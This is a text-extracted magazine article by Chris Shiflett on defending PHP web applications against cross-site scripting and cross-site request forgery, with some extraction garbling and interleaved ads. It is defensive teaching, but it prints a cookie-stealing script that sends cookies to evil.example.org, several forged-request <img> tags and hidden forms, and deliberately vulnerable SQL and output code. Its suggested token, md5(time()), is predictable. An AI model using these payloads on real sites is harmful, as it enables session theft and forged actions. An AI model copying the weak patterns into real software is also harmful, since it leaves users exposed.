Now that we have established that all web appli-cations are insecure, I will explain how to make your web applications more secure by describ-ing two contrastdescrib-ing types of attacks
Trang 1Signup now and save $100.00!
Hurry, special offer ends October 31st.
Visit us at www.phparch.com/cruise for more details.
March 1 st - March 5 th 2004
Andrei Zmievski - Andrei's Regex Clinic, James Cox - XML for the Masses, Wez Furlong -Extending PHP, Stuart Herbert - Safe and Advanced Error Handling in PHP5, Peter James -mod_rewrite: From Zero to Hero, George
Schlossnagle - Profiling PHP, Ilia Alshanetsky - Programming Web Services, John Coggeshall - Mastering PDFLib,
Jason Sweat - Data Caching Techniques
We’ve got you covered, from port to sockets.
Port Canaveral • Coco Cay • Nassau
Plus: Stream socket programming, debugging techniques, writing high-performance code,
In partnership with Zend Technologies
Zend Studio 3.0 is the official PHP IDE of
php|cruise
Trang 2Now that we have established that all web
appli-cations are insecure, I will explain how to make
your web applications more secure by
describ-ing two contrastdescrib-ing types of attacks: Cross-Site
Scripting (XSS) and Cross-Site Request Forgeries (CSRF)
My hope is that you will not only learn some specific
strategies for protecting against these types of attacks,
but more importantly, that you will also gain crucial
insight that can help you more clearly understand web
application security in general
Cross-Site Scripting
As a PHP professional, you have most likely heard of
Cross-Site Scripting (XSS) In fact, you may have already
taken steps to protect your own web applications
against XSS attacks The effectiveness of such
preven-tive measures relies upon whether these measures
address the problem or merely a symptom, and of
course how well you understand the problem It is a
common tendency to only address a specific exploit of
a vulnerability in much the same way that we might
resolve a bug using a specific test case With this
strate-gy, a web developer’s effort is less effective, and
there-fore we want to address the root of the problem
when-ever possible
The fundamental error that yields XSS vulnerabilities
is trusting foreign data A general recommendation
among web developers is to never trust client data, but
protecting against XSS requires even more mistrust, as
is anything that your web server sends to the client that originates from somewhere else Some examples of for-eign data include posts on a web forum, email dis-played by a web mail client, a banner advertisement, stock quotes provided by an XML feed over HTTP, and
of course client data For any interesting web applica-tion, there will be scores of foreign data, and these are the types of applications that require the most atten-tion Of course, the danger is not specifically that you trust the foreign data, but rather that you assume it is safe and display it to your users without proper valida-tion You are trusted by your users, and XSS attacks exploit that trust
To understand why displaying foreign data can be dangerous, consider a simple registration system where users provide their preferred username and email address, and their registration information is emailed to them once their account is created The HTML form that collects this information might be as follows:
<form action=”/register.php” method=”post”>
<p>Username: <input type=”text” name=”reg_username”
/></p>
<p>Email: <input type=”text” name=”reg_email” /></p>
<p><input type=”submit” value=”Register” /></p>
</form>
Foiling Cross-Site Attacks
by Chris Shiflett
PHP: 4.2+
OS: Any Applications: N/A REQUIREMENTS
Security is a nebulous topic Web applications are
often described as being secure or insecure, and
this yields dangerous misconceptions and
confu-sion Just how secure is a secure web application?
The inference is that ‘secure’ web applications
are 100% secure and invulnerable to any type of
attack Based on this, we can safely consider
every web application to be insecure.
Trang 3Figure 1 illustrates how this form appears in a web
browser
Of course, more important than this form is the script
that receives it If the data being submitted in the form
is not properly validated, malicious users can insert a
dangerous script or worse, and your only hope is that
the malicious user isn’t very creative in their attack
Consider that the registration data is stored in a
data-base and that the SQL statement used to store this data
is generated as follows:
What should stand out in this SQL statement is the
use of the $$ PPOOSSTT array in its construction The calls to
addslashes() are only necessary to ensure that the
SQL statement is not mangled by the data itself (it is
assumed that the database being used escapes quotes
with a backslash; modify this example as necessary)
Data in $$ PPOOSSTT comes from the client, and this code
demonstrates a blind trust of this data With legitimate
users, the dangers of this approach remain hidden, and
this is exactly how many web application vulnerabilities
are born Consider the following username:
<script>alert(‘Oh No!’);</script>
While we can easily determine that this is not a valid
username, it demonstrates how the code that we write
might not be so wise Without proper validation of the
data being stored, anything can end up in the
data-base Of course, the danger in the case of XSS is when
this data is displayed to other users
Let us assume that this registration system has a
cor-responding administrative application that is only
accessible from the local network by authorized
admin-istrators It is easy to assume that an application
inac-cessible from the Internet is safe, and less effort might
be invested in the security of such an application
Consider the code in Listing 1 that displays a list of
reg-istered users to authorized administrators:
If the data in the database is not validated prior to
storage, an administrator might be subject to an XSS
attack by using this application This risk is illustrated in
Figure 2
This risk is even clearer if you consider a more
mali-cious client-side script such as the following:
<script>
document.location =
‘http://evil.example.org/steal_cookies.php?
cookies=’ + document.cookie
</script>
If this script is displayed to an administrator, the administrator’s cookies that are associated with the cur-rent application’s domain are sent to evil.example.org for possible collection In this example, the remote script steal_cookies.phpcan access these cookies via
$$ GGEETT[[‘‘ccooookkiieess’’]] Once captured, these cookies may
if (! get_magic_quotes_gpc ())
{
$_POST [ ‘reg_username’ ] =
addslashes ( $_POST [ ‘reg_username’ ]);
$_POST [ ‘reg_email’ ] =
addslashes ( $_POST [ ‘reg_email’ ]);
}
$sql = “insert into users (username, email)
values (‘ { $_POST [ ‘reg_username’ ]} ’,
‘ $_POST [ ‘reg_email’ ]} ’)” ;
F
Figure 1
1 <table>
2 <tr>
3 <th>Username</th>
4 <th>Email</th>
5 </tr>
6 <?
7 if ( $_SESSION [ ‘admin_ind’ ])
8 {
9 $sql = ‘select username, email from users’ ;
10 $result = mysql_query ( $sql );
11 while ( $curr_user = mysql_fetch_assoc ( $result ))
13 echo “\t<tr>\n” ;
14 echo “ \t\t <td> { $curr_user [ ‘username’ ]} </td> \n ” ;
15 echo “ \t\t <td> { $curr_user [ ‘email’ ]} </td> \n ” ;
16 echo “\t</tr>\n” ;
18 }
19 ?>
20 </table>
Listing 1
Figure 2
Trang 4be used to launch impersonation attacks, obtain
sensi-tive data, and so forth
Protecting Against XSS
There are a few guidelines that you can follow to help
protect your applications against XSS attacks Hopefully
you can already predict a few of these
1 Filter all foreign data
The most important guideline is to filter all foreign data
If you discover an XSS vulnerability in one of your
appli-cations, it should be due to faulty filtering logic, not due
to a complete lack of filtering logic
2 Use existing functions
Let PHP help with this; functions like
htmlentities(), strip_tags(), and
utf8_decode() can help you write your filtering
logic The key is to rely on built-in functions whenever
they are available For example, if you want to make
sure that HTML entities are properly encoded, it is
much safer to use htmlentities()than to write your
own function that does the same thing Performance
considerations aside (htmlentities() is also faster),
the built-in function has certainly been reviewed and
tested by more people than your code, and it is far less
likely to contain errors that yield vulnerabilities
3 Only allow safe content
When writing your filtering logic, only allow content
that you consider safe rather than trying to exclude
content that you consider unsafe For example, if a user
is supplying a last name, you might start by only
allow-ing alphabetic characters and spaces, as these are quite
safe (of course, you want to also make sure that the
length is sane) While the names Berners-Lee and
O’Reilly are incorrectly rejected, this problem is easily
resolved A quick change to your filtering logic to also
allow apostrophes and hyphens is all that is needed
Over time, you can perfect your filtering logic, so that
such errors become a distant memory
The key is to not fear missing something when trying
to brainstorm for all valid characters and resort to being
too generous in your filtering; it is much worse to allow
a malicious character than to reject a safe one In
addi-tion, when you err on the side of cauaddi-tion, a quick fix
resolves the problem, and those who encounter the
problem are more likely to let you know If you create
an XSS vulnerability, the fix is likely to be slow and
painful, and you may not learn of the problem until it is
too late and your application is compromised
4 Use a strict naming convention
There are many naming conventions that developers
is most intuitive to you, and use it consistently in all of your development Most of these naming conventions use descriptive terms such as clean and dirty, alluding to filtered and unfiltered data, respectively (the process of data filtering is also commonly referred to as cleaning or scrubbing) Some describe unfiltered data as tainted When you employ one of these naming conventions, it makes it easier for you to keep track of your data The most important keys to implementing a naming con-vention are to only output filtered data and to ensure that no unfiltered data can be improperly named
5 Be creative
Armed with a good understanding of the web as well as your own application, you are the most qualified person
to assess its security and to protect your application and your users from attack It is important to be creative and
to try not to make any assumptions about how users interact with your site Foreign data can be anything, and you will soon see that even a legitimate user may
be an unknowing accomplice to an attack Trust noth-ing until your data filternoth-ing logic approves of it
Cross-Site Request Forgeries
Cross-Site Request Forgeries (CSRF) are an almost oppo-site style of attack Rather than exploiting the trust that
a user has for a web site, they exploit the trust that a web site has for a user In the case of the XSS attacks we just discussed, the user is the victim In the case of CSRF, the user is an unknowing accomplice
Because CSRF involves a forged HTTP request, it is important to first understand what an HTTP request is The web is a client/server environment, and HTTP (Hypertext Transfer Protocol) is the protocol that web clients and servers use to communicate Web clients (browsers being the most common example) send HTTP requests to web servers, and those servers return
an HTTP response in reply A request and its correspon-ding response make up an HTTP transaction A basic example of an HTTP request is as follows:
GET / HTTP/1.1 Host: www.example.org
The URL being requested in this example is http://www.example.org/ A slightly more realistic example of a request for this same resource is the fol-lowing:
GET / HTTP/1.1 Host: www.example.org User-Agent: Mozilla/1.4 Accept: text/xml, image/png, image/jpeg, image/gif,
*/*
This second example demonstrates the use of two additional HTTP headers: User-Agent and Accept The Host header that is included in both examples is
Trang 5familiar with referencing these in your code PHP makes
these available to you in the $$ SSEERRVVEERR array, such as
$$ SSEERRVVEERR[[‘‘HHTTTTPP HHOOSSTT’’]], $$ SSEERRVVEERR[[‘‘HHTTTTPP UUSSEERR AAGGEENNTT’’]],
and $$ SSEERRVVEERR[[‘‘HHTTTTPP AACCCCEEPPTT’’]] For the remainder of this
article, optional headers are omitted for brevity in the
examples
The most common variety of CSRF attacks use the
<img>HTML tag to forge the request To explain how
this is accomplished, assume that a request for
response:
HTTP/1.1 200 OK
Content-Length: 61
<html>
<img src=”http://www.example.org/image.png” />
</html>
The important aspect of this example is the content
(the HTML) When a browser interprets the HTML
with-in a response, it sends a GET request for each
addition-al resource, such as an image, that it needs in order to
render the page For example, after interpreting this
response, an additional request similar to the following
is sent for the image:
GET /image.png HTTP/1.1
Host: www.example.org
The most important characteristic of this request is
that it is identical to the first request except for the path
to the resource This is because requests for images are
no different than requests for any other URL A resource
is a resource; there is no method for the browser to
notify the web server that it intends to be requesting an
image Figure 3 illustrates how a CSRF attack abuses this
behavior
In order to appreciate the danger that this behavior
represents, consider a simple web forum located at
HTML form to allow users to add a post:
<form action=”/add_post.php”>
<p>Subject: <input type=”text” name=”post_subject”
/></p>
<p>Message: <textarea
name=”post_message”></textarea></p>
<p><input type=”submit” value=”Add Post” /></p>
</form>
Because the method of the form is not specified, a
GET request is sent upon submission, and the form
fields are included as URL variables If a user enters
“foo” as the subject and “bar” as the message, an HTTP
request similar to the following is sent (assuming that
the session identifier is propagated via a cookie):
GET /add_post.php?post_subject=foo&post_message=bar
HTTP/1.1
Host: forum.example.org
Cookie: PHPSESSID=123456789
If someone wants to forge posts to such a forum, all
they must do is replicate the format of this request and
have it be sent by the victim While this may not sound trivial, it unfortunately is Consider the following <img> tag:
<img src=”http://forum.example.org/add_post.php?post_sub-ject=foo&post_message=bar” />
When a browser requests this image, the HTTP request looks identical to the above example, including the cookie for session management With a simple change to the URL referenced in this <img> tag, an attacker can modify the subject and message to be any-thing he/she desires All the attacker must do to launch the attack is have the victim visit a URL that contains this <img>tag, and the victim posts a message of the attacker’s choosing on the forum Because requests for embedded resources are not likely to be noticed, the victim may be completely unaware of the attack
More dangerous types of attacks might forge requests that purchase items on a web site or perform adminis-trative functions on a restricted web application Consider an intranet application located at
to terminate employees Even with a flawless session management mechanism that is immune to imperson-ation, combined with the fact that this application can-not be accessed by users outside of the local network, a CSRF attack can avoid these safeguards with something
as simple as the following:
<img src=”http://192.168.0.1/admin/terminate_employ-ee.php?employee_id=123” />
Figure 4 illustrates this particular type of CSRF attack and how it can be used to penetrate an otherwise secure local network
The most challenging characteristic of CSRF attacks is that the legitimate user is essentially making the request Thus, regardless of how perfect the user iden-tification and/or session management mechanism is, a CSRF attack can still be successful Also, because it is unrealistic to rely on other web sites to not allow such
<<iimmgg>> tags (especially since the attacker could coerce the victim into visiting the attacker’s own web site), the problem must be addressed on the receiving site
Protecting Against CSRF
Protecting your applications against CSRF attacks is more challenging than protecting them against XSS attacks However, there are a few guidelines that you can follow to mitigate the risk of a successful attack
1 Use POST in forms
Because requests for embedded resources are made using the GET request method, one way to distinguish the legitimate HTTP requests from those forged using the <img>tag method of forgery is to use POST as the
Trang 6form method The form used to submit a post to
forum.example.org could specify this as follows:
<form action=”/add_post.php” method=”post”>
Of course, it is not necessarily a good idea to blindly
choose the POST method for every form, but forms that
are candidates for attack should certainly use POST
rather than GET As with any security provision, this step
does not guarantee protection, and your users can be
tricked into sending forged POST requests as well For
example, they might click on an image that submits a
form, including any number of hidden form fields The
following example illustrates this technique:
<form action=”/add_post.php” method=”post”>
<input type=”hidden” name=”post_subject” value=”CSRF
Example” />
<input type=”hidden” name=”post_message” value=”I was
tricked!” />
<input type=”image”
src=”http://images.example.org/csrf.png” />
</form>
This style of attack, however, is at least more obvious
to the victim, because a browser considers the POST
request to be for the parent resource So, the user
should be aware of the attack, even if after the fact
(while looking at the screen displaying the new post)
2 Use $ $_POST Trather than relying on
r
register_globals s
If forum.example.org has rreeggiisstteerr gglloobbaallss enabled
and references $$ppoosstt ssuubbjjeecctt and $$ppoosstt mmeessssaaggee in the
aadddd ppoosstt pphhpp script, using POST for the form does not
help anything or allow you to distinguish between a
legitimate request and a CSRF attack While
rreeggiisstteerr gglloobbaallss has earned a poor reputation in
recent years, this has been mostly due to poor
pro-gramming by inexperienced developers CSRF
repre-sents a legitimate reason to disable rreeggiisstteerr gglloobbaallss
regardless of your experience or security expertise
Of course, one could argue that $$ PPOOSSTT can be used
with rreeggiisstteerr gglloobbaallss enabled, but that defeats the
purpose Another legitimate argument in defense of
rreeggiisstteerr gglloobbaallss might be that it is possible to protect
against CSRF with rreeggiisstteerr gglloobbaallss enabled by trying
to force the use of your own forms While this is a valid
point, it only suggests that rreeggiisstteerr gglloobbaallss is
techni-cally not a security vulnerability; it is a security risk
3 Do not oversimplify important actions
If a single request by a legitimate user can trigger a
powerful action, the risk is greater than if several
requests are necessary to do the same Even a simple
verification page can be helpful, so long as the page
cannot be avoided (for example, if having
??vveerriiffiieedd==yyeess in the URL is all that is necessary to
but multiple consecutive POST requests are more diffi-cult to forge
4 Force the use of your own HTML forms
The core problem of CSRF is that a forged request can imitate a form submission If you can somehow deter-mine whether your own web page was used to submit the form, you can practically eliminate the risk of a CSRF attack After all, if the user has not requested the form recently, why should a form submission from this user
be considered valid? This is, of course, easier said than done, but there are a few techniques that can be used
to accomplish this My favorite techniques are those that involve a shared secret between the server and the legitimate user For example, consider Listing 2 as a substitute for the form used to submit a post to forum.example.org
Every time a user requests this form, a new token is generated, and this token is saved on the server (in the user’s session, replacing any previous ones) and
includ-ed in the form as a hidden form variable Therefore, when a request to post a message is received, not only can the token be compared with the token in the user’s session, but a timeout can also be applied to further
Figure 3
Figure 4
Trang 7minimize the risk This tactic makes a CSRF attack
extremely difficult and therefore represents a high level
of protection
Summary
I hope that you now have a firm understanding of both
XSS and CSRF as well as web application security in
general The key to security is to make life easy for the
good guys and difficult for the bad guys No application
is completely secure, so try to focus on making
success-ful attacks as difficult to achieve as possible Every
obstacle helps, and even a bit of obscurity can be
help-ful, despite what some people may lead you to believe
1 <?
2 $token = md5 ( time ());
3 $_SESSION [ ‘token’ ] = $token ;
4 $_SESSION [ ‘token_timestamp’ ] = time ();
5 ?>
6 <form action=”/add_post.php” method=”post”>
7 <input type=”hidden” name=”token” value=” <? echo $token ; ?> ”
/>
8 <p>Subject: <input type=”text” name=”post_subject” /></p>
9 <p>Message: <textarea name=”post_message”></textarea></p>
10 <p><input type=”submit” value=”Add Post” /></p>
11 </form>
Listing 2
More Information
I presented a talk about XSS and CSRF entitled PHP Under Attack at OSCON 2003, and that talk (with examples disabled for security) is available online at
http://talks.php.net/show/php-under-attack/
More information about XSS can be found
at the following URLs:
http://httpd.apache.org/info/css-security/
http://www.cgisecurity.com/articles/xss-faq.shtml
Lastly, the original CSRF description can be found at:
http://www.tux.org/~peterw/csrf.txt
Click HERE To Discuss This Article http://forums.phparch.com/55
Chris Shiflett has been developing Web applications with PHP for a num-ber of years He is the author of the HTTP Developer's Handbook and fre-quently writes about Web application security As an open source advo-cate, he maintains several open source projects and is a member of the PHP development team Chris keeps a Web site at
FavorHosting.com offers reliable and cost effective web hosting
SETUP FEES WAIVED AND FIRST 30 DAYS FREE!
So if you're worried about an unreliable hosting provider who won't be around in another month, or available to answer your PHP specific support questions Contact us and we'll switch your information and servers to one of our reliable hosting facilities and you'll enjoy no installation fees plus your first month of service is free!*
Please visit http://www.favorhosting.com/phpa/
call 1-866-4FAVOR1 now for information.
- Strong support team
- Focused on developer needs
- Full Managed Backup Services Included Our support team consists of knowledgable and experienced professionals who understand the requirements of installing and supporting PHP based applications.